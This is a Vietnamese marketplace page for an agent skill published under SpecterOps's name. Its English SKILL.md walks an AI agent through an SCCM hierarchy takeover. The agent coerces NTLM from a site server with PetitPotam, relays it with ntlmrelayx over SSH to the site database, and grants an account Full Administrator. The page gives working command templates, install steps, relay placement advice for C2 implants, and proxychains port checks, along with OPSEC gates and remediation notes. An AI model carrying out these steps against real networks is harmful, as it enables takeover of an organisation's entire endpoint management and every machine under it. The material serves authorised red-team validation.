Logo Sccm Takeover Relay

Sccm Takeover Relay

Tổ chức
SpecterOps
sccm-takeover-relay

Validate SCCM TAKEOVER-1 style hierarchy takeover via NTLM coercion and relay to the site database, with C2-aware relay-host planning, operator SSH access requirements, prechecks, and evidence capture.

Add to TypingMind

Tổng quan

Nhà phát hànhSpecterOps
Kho mãskills
Tên kỹ năngsccm-takeover-relay
Sao
706
Bản fork
80
Tệp đi kèm
3
Giấy phépApache-2.0
Liên kết
  • Hướng dẫn bằng Markdown

    Tệp SKILL.md được mô hình tải khi cần, nên chỉ tốn token khi có yêu cầu thực sự phù hợp.

  • Dùng được với mọi LLM

    Kỹ năng AI dùng hướng dẫn viết bằng Markdown thay vì mã dành riêng cho một nhà cung cấp, nên dùng được với GPT, Claude, Gemini, Grok hoặc mô hình cục bộ.

  • 3 tệp đi kèm

    Các tập lệnh, mẫu và tài liệu tham khảo mà mô hình có thể đọc khi làm việc. Các tệp chỉ cho phép đọc và không bao giờ được thực thi.

  • Mã nguồn mở

    Được SpecterOps công bố trên GitHub. Hãy đọc các tệp nguồn trước khi cài đặt.

Cài đặt

Cài đặt kỹ năng AI Sccm Takeover Relay trong TypingMind để dùng với bất kỳ LLM nào, hoặc thêm vào một tác nhân AI khác có thể đọc SKILL.md.

1

Cài đặt trong TypingMind

TypingMind cài đặt kỹ năng trực tiếp từ thư mục GitHub — đọc SKILL.md, đóng gói các tệp tài nguyên và lưu kết quả trên máy.

  1. Mở ứng dụng và vào Plugin → Kỹ năng.
  2. Chọn "Cài đặt từ GitHub".
  3. Dán URL của thư mục kỹ năng được hiển thị bên dưới rồi xác nhận.
    https://github.com/SpecterOps/skills/tree/main/plugins/ops-sccm/skills/sccm-takeover-relay
  4. Bật kỹ năng trong từng cuộc trò chuyện mà bạn muốn sử dụng kỹ năng đó.
Plugin → Kỹ năng → Thêm kỹ năng → Từ URL GitHub, sau đó dán URL thư mục và nhấn Tiếp tục.
2

Cài đặt trong tác nhân AI khác

Bất kỳ tác nhân AI nào đọc được định dạng Agent Skills đều có thể dùng kỹ năng này — hãy sao chép thư mục vào thư mục kỹ năng của tác nhân AI đó.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SpecterOps/skills.git /tmp/skills
mkdir -p .claude/skills
cp -r /tmp/skills/plugins/ops-sccm/skills/sccm-takeover-relay .claude/skills/sccm-takeover-relay
Khởi động lại Claude Code sau khi sao chép để ứng dụng nhận kỹ năng mới.

Sử dụng trong TypingMind

Bật Sccm Takeover Relay trong bất kỳ cuộc trò chuyện nào trên TypingMind, mô hình sẽ tự xử lý phần còn lại. Tên và mô tả của kỹ năng nằm trong prompt hệ thống. Ngay khi có yêu cầu phù hợp, mô hình tự tải toàn bộ hướng dẫn — bạn không cần gọi thủ công và kỹ năng không tốn token cho đến khi thực sự được dùng.

Mô hình tự nạp Sccm Takeover Relay ngay khi có yêu cầu phù hợp.

Dùng được với mọi mô hình AI

Kỹ năng AI là các hướng dẫn Markdown thuần túy, không phải mã dành riêng cho một nhà cung cấp, nên bạn có thể dùng Sccm Takeover Relay với cả những mô hình khác ngoài mô hình ban đầu. Chỉ cần cài đặt một lần trong TypingMind rồi dùng với GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama hoặc mô hình cục bộ do bạn tự chạy — tất cả đều dùng khóa API của riêng bạn.

  • Chỉ tải khi cần

    Prompt hệ thống chỉ chứa tên và mô tả. Hướng dẫn được tải khi có yêu cầu phù hợp đầu tiên, nên khi kỹ năng chưa được dùng, bạn không tốn token cho phần hướng dẫn.

  • Đổi mô hình ngay trong cuộc trò chuyện

    Vì kỹ năng là hướng dẫn chứ không phải mã, việc đổi mô hình không làm kỹ năng ngừng hoạt động — mô hình tiếp theo vẫn đọc cùng tệp SKILL.md.

Hướng dẫn của kỹ năng

Đây là nội dung SKILL.md mà mô hình tải. Hãy đọc trước khi cài đặt — kỹ năng là những hướng dẫn mà mô hình của bạn sẽ làm theo.

SCCM Takeover Relay

Use this skill to plan or execute SCCM TAKEOVER-1-style hierarchy takeover validation: coerce NTLM from a privileged SCCM site system, relay it to the site database over MSSQL, grant a chosen domain account the SCCM Full Administrator role, and verify the new role assignment.

This skill is for authorized lab validation only. It is OPSEC-sensitive and must remain tightly scoped.

Direct Triggers

Use this skill when the task mentions any of the following:

  • SCCM takeover
  • ConfigMgr takeover
  • site takeover
  • NTLM relay to MSSQL for SCCM
  • coercing a site server, SMS Provider, or passive site server
  • Misconfiguration-Manager TAKEOVER-1

Input Contract

Accept input as: COERCION_TARGET SITE_DB_TARGET SMS_PROVIDER_OR_PROVIDER_HOST TARGET_ACCOUNT [MODE]

Mode:

  • plan: build the validation workflow, operator questions, and command set only
  • execute (default): perform prechecks, request approval for dangerous steps, and capture evidence

Examples:

  • $sccm-takeover-relay sccm-site01.corp.local sccmdb01.corp.local smsprov01.corp.local CORP\\lowpriv plan
  • $sccm-takeover-relay 192.0.2.20 192.0.2.21 192.0.2.22 CORP\\operator execute

Required Operator Inputs Before Execute

In a C2 context, do not proceed past planning until these are known:

  1. Where the ntlmrelayx server will run:
  • internal: a host inside the target network
  • external: a host outside the target network
  1. How to SSH into the relay server:
  • connection string, for example operator@relay-host
  • authentication method, for example key path, agent-based auth, or password prompt expectation
  • whether sudo is available
  1. Relay-server network assumptions:
  • relay server IP/FQDN that the coercion target will connect to over SMB
  • whether the coercion target can reach relay-server TCP/445
  • whether the relay server can reach site database TCP/1433

If any of the above is missing, ask the operator directly before execution. Do not guess relay placement or SSH access details.

Preconditions

Confirm all of the following before coercion or relay:

  1. Scope:
  • target systems are in scope
  • intended relay infrastructure is operator-approved
  1. SCCM path assumptions from TAKEOVER-1:
  • the site database is not hosted on the coercion target
  • coercion target is one of:
    • primary site server
    • SMS Provider
    • passive site server
  • the chosen SCCM site-system computer account is expected to hold db_owner on the site DB
  1. Authentication and protocol requirements:
  • valid AD credentials exist for the coercion step
  • coercion target can reach relay server SMB 445
  • relay server can reach MSSQL on the site DB target 1433
  • EPA is not Allowed or Required on the site database
  • NTLM restrictions do not block the coercion/relay path
  1. Tooling availability:
  • ntlmrelayx
  • a coercion primitive such as PetitPotam
  • sccmhunter and/or SharpSCCM
  • optional SQL or MSSQL connectivity tooling for prechecks

Tooling Setup

Before execution, determine which host will run each component:

  • operator host
  • relay host
  • Windows SCCM interaction host, if needed

At minimum, account for these tools:

Linux operator host

Required or strongly preferred:

  • python3
  • git
  • impacket-ntlmrelayx
  • sccmhunter
  • a coercion tool such as PetitPotam.py
  • optional reachability tools such as nc and curl

Typical Kali/Debian install commands:

bash
sudo apt-get update
sudo apt-get install -y python3 python3-pip python3-venv git netcat-openbsd curl impacket-scripts

Verify:

bash
which ntlmrelayx.py || which impacket-ntlmrelayx
python3 --version

sccmhunter

If not already staged, clone it to the working host:

bash
git clone https://github.com/garrettfoster13/sccmhunter.git
cd sccmhunter
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt

PetitPotam

If not already staged, clone it:

bash
git clone https://github.com/topotam/PetitPotam.git

Windows host for SharpSCCM

Use only if the operator intends to run SCCM-specific checks from Windows. If needed, stage SharpSCCM on the Windows host in advance and record:

  • host name
  • execution path
  • identity used

Relay host

Before execution, confirm the relay host has:

  • SSH access from the operator
  • ntlmrelayx available
  • network reachability to the site DB on 1433
  • an interface/IP that the coercion target can reach on SMB 445

If the relay host is separate from the operator host, do not assume tooling parity. Verify install state on the relay host explicitly over SSH.

Execution Workflow

  1. Gather the C2 relay plan.
  • Ask whether the relay server is internal or external.
  • Ask for the exact SSH access pattern to that server.
  • Record where ntlmrelayx will run and which host will launch coercion.
  • Confirm the needed tooling is installed on the operator host and relay host before moving forward.
  1. Build the SQL payload for SCCM admin assignment.
  • Prefer sccmhunter on Linux to resolve the target user SID and generate the MSSQL statements.
  • Use SharpSCCM when the operator is working from Windows.
  • Capture:
    • target user/domain
    • site code
    • hex SID
    • full SQL payload
  1. Run low-noise prechecks.
  • confirm DNS/IP resolution for coercion target, site DB, and SMS Provider
  • confirm relay host reachability assumptions
  • confirm TCP/445 from coercion target to relay host where feasible
  • confirm TCP/1433 from relay host to site DB where feasible
  • confirm likely site DB host is separate from coercion target
  • if TCP/445 testing fails, compare it against a temporary listener on an alternate relay-host port to distinguish a path issue from a 445-specific restriction
  1. Prepare the relay server.
  • SSH to the relay host using the operator-provided method
  • record host identity, active interfaces, and the IP/FQDN that will receive coerced SMB auth
  • start ntlmrelayx against mssql://<SITE_DB_TARGET> with the assembled SQL query
  • prefer single-target relay mode and explicit output logging
  1. OPSEC gate before dangerous steps.
  • Starting ntlmrelayx in active relay mode is confirmation-gated.
  • Triggering coercion is confirmation-gated.
  • Before asking for approval, provide:
    • exact commands
    • objective
    • expected impact
    • assumptions
    • telemetry and detection surfaces
  1. Trigger NTLM coercion.
  • Launch the chosen coercion method against the SCCM site system, targeting the relay-server SMB listener
  • capture exact command and output
  1. Confirm relay success.
  • collect ntlmrelayx output showing:
    • inbound SMB from the coercion target
    • authenticated identity, for example SITE-SERVER$
    • MSSQL target
    • SQL execution outcome
  1. Verify SCCM role assignment.
  • Prefer verifying the new Full Administrator assignment via WMI/AdminService on an SMS Provider
  • Prefer sccmhunter on Linux or SharpSCCM on Windows
  • Verification is the success condition; do not assume success from relay logs alone
  1. Stop after controlled proof unless the operator explicitly extends the objective.
  • Do not automatically pivot into client code execution
  • report the equivalent impact and recommended next options

Command Patterns

Generate SQL with sccmhunter

bash
python3 sccmhunter.py mssql -dc-ip <DC_IP> -d <DOMAIN> -u '<USER>' -p '<PASS>' -tu <TARGET_USER> -sc <SITE_CODE> -stacked

Start ntlmrelayx on the relay host

bash
ssh <SSH_CONNECTION> "impacket-ntlmrelayx -smb2support -ts -t mssql://<SITE_DB_TARGET> -q \"<SQL_QUERY>\""

Trigger coercion with PetitPotam

bash
python3 PetitPotam.py -d <DOMAIN> -u <USER> -p <PASS> <RELAY_SERVER_IP> <COERCION_TARGET>

Verify SCCM admin assignment with sccmhunter

bash
python3 sccmhunter.py admin -u <USER> -p '<PASS>' -ip <SMS_PROVIDER_OR_PROVIDER_HOST>

Troubleshoot blocked relay port with an alternate listener

bash
proxychains4 -q -f /etc/proxychains4.conf nc -vz <RELAY_SERVER_IP> 445
proxychains4 -q -f /etc/proxychains4.conf nc -vz <RELAY_SERVER_IP> <ALT_PORT>

If <ALT_PORT> succeeds while 445 fails, record that the current transport path appears to disallow outbound or proxied 445.

Relay Placement Guidance

Internal Relay Server

Use when the operator already has an implant, host, or pivot inside the target network that can:

  • accept SMB on 445 from the coercion target
  • reach MSSQL 1433 on the site DB

This is usually the cleaner path.

External Relay Server

Use only when the coercion target can reach the external relay host over SMB and the site DB is reachable from that relay position.

Before execution, explicitly verify:

  • routable IP/FQDN for the relay host
  • firewall/NAT path for inbound SMB from the coercion target
  • SSH path from the operator to the relay host

Do not assume an external relay path is viable just because the operator has a team server.

OPSEC Gate

Require explicit operator confirmation before:

  • starting ntlmrelayx in relay mode
  • triggering NTLM coercion
  • any broad or repeated coercion attempts
  • any step that modifies SCCM RBAC in the site database

Before requesting approval, include:

  • exact action to run
  • expected security objective
  • expected impact
  • prerequisites and assumptions
  • likely telemetry/artifacts
  • likely detection surfaces across host, network, identity, and SIEM/EDR
  • expected noise level and blast radius

Success Criteria

Validation is successful only when all of the following are evidenced:

  • SQL payload was prepared for the intended target account
  • relay server received coerced authentication from the intended SCCM site system
  • relay to MSSQL succeeded
  • SQL statements executed successfully
  • the target account is verifiably assigned SCCM Full Administrator

If validation is blocked before coercion:

  • include whether 445 failed while an alternate port on the same host succeeded
  • treat that as concrete evidence of a port-specific path restriction

Reporting Requirements

For each run, include:

  • coercion target, site DB target, SMS Provider target, and relay host details
  • relay placement: internal or external
  • SSH method used to access the relay host
  • exact commands and outputs for:
    • SQL payload generation
    • relay-server setup
    • coercion
    • verification
  • timestamps in UTC ISO 8601
  • confirmed result vs inference
  • observed impact
  • detection opportunities
  • remediation options with tradeoffs

Remediation Themes

Always discuss:

  • requiring EPA on the site database
  • reducing unnecessary network paths to site systems and site DBs
  • restricting NTLM where operationally possible
  • monitoring SCCM site-system computer accounts authenticating from unusual sources
  • reviewing SCCM RBAC changes and unexpected Full Administrator assignments

References

Tệp đi kèm

Khi kỹ năng đã được tải, mô hình có thể đọc các tệp này nếu cần. Các tệp này chỉ dùng để đọc và không bao giờ được thực thi.

Câu hỏi thường gặp

Kỹ năng AI Sccm Takeover Relay làm được gì?

Validate SCCM TAKEOVER-1 style hierarchy takeover via NTLM coercion and relay to the site database, with C2-aware relay-host planning, operator SSH access requirements, prechecks, and evidence capture.

Vì sao nên dùng Sccm Takeover Relay trên TypingMind?

Vì bạn chỉ cần cài một lần rồi dùng với bất kỳ mô hình nào. Sccm Takeover Relay là nội dung Markdown chứ không phải mã dành riêng cho từng nhà cung cấp, nên cùng một kỹ năng có thể chạy trên GPT-5, Claude, Gemini, Grok hoặc mô hình trên thiết bị — và bạn có thể đổi mô hình ngay trong cuộc trò chuyện mà kỹ năng vẫn hoạt động. TypingMind dùng khóa API riêng của bạn, nên bạn thanh toán trực tiếp cho nhà cung cấp thay vì trả phí thuê bao theo suất người dùng, đồng thời kỹ năng và các cuộc trò chuyện vẫn nằm trong bộ lưu trữ của bạn.

Làm thế nào để cài Sccm Takeover Relay trong TypingMind?

Mở Plugin → Kỹ năng → Cài đặt từ GitHub trong TypingMind rồi dán https://github.com/SpecterOps/skills/tree/main/plugins/ops-sccm/skills/sccm-takeover-relay. TypingMind đọc tệp SKILL.md, đóng gói các tệp đi kèm rồi cài đặt cả gói dưới dạng một kỹ năng mà bạn có thể bật cho từng cuộc trò chuyện.

Những mô hình AI nào có thể dùng Sccm Takeover Relay?

Bất kỳ mô hình nào bạn kết nối trong TypingMind. Kỹ năng AI là các hướng dẫn bằng Markdown chứ không phải mã dành riêng cho từng nhà cung cấp, nên GPT, Claude, Gemini, Grok và các mô hình chạy trên thiết bị đều có thể tải kỹ năng này khi có yêu cầu phù hợp.

Có thể dùng Sccm Takeover Relay với bao nhiêu mô hình AI?

Bao nhiêu cũng được. Miễn là mô hình hỗ trợ kỹ năng, bạn có thể dùng Sccm Takeover Relay với mô hình đó — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama và nhiều mô hình khác — tất cả đều trên TypingMind với khóa API riêng của bạn.

Kỹ năng AI Sccm Takeover Relay có miễn phí không?

Có. Kỹ năng này được SpecterOps phát hành trên GitHub theo giấy phép Apache-2.0. Bạn chỉ trả tiền cho nhà cung cấp AI của mình theo số token đã dùng.

Kỹ năng AI là gì?

Kỹ năng AI là một gói hướng dẫn có thể tái sử dụng, chỉ cho mô hình AI cách thực hiện một tác vụ cụ thể. Kỹ năng tuân theo định dạng mở Agent Skills: một tệp SKILL.md chứa tên và mô tả, cùng các tập lệnh, mẫu hoặc tệp tham khảo mà mô hình có thể cần. Mô hình chỉ đọc hướng dẫn khi yêu cầu của bạn phù hợp với kỹ năng, nên kỹ năng đã cài đặt không phát sinh chi phí cho đến khi được sử dụng.

Kỹ năng AI khác gì với plugin hoặc máy chủ MCP?

Plugin hoặc máy chủ MCP cung cấp các công cụ mới mà mô hình có thể gọi. Khi mô hình gọi một công cụ, mã của công cụ đó chạy ở đâu đó và trả về kết quả. Còn kỹ năng AI cung cấp kiến thức và quy trình: cách tiếp cận tác vụ, các bước cần thực hiện và những tiêu chí mà kết quả cần đáp ứng. Kỹ năng chỉ là nội dung Markdown, nên không cần máy chủ, khóa API hay môi trường thực thi và hoạt động với mọi mô hình.

Xem tất cả

Tạo ngay không gian làm việc AI riêng

Đăng ký bản tin của chúng tôi để nhận thông báo về tính năng mới và các đợt tặng quà sắp tới 👇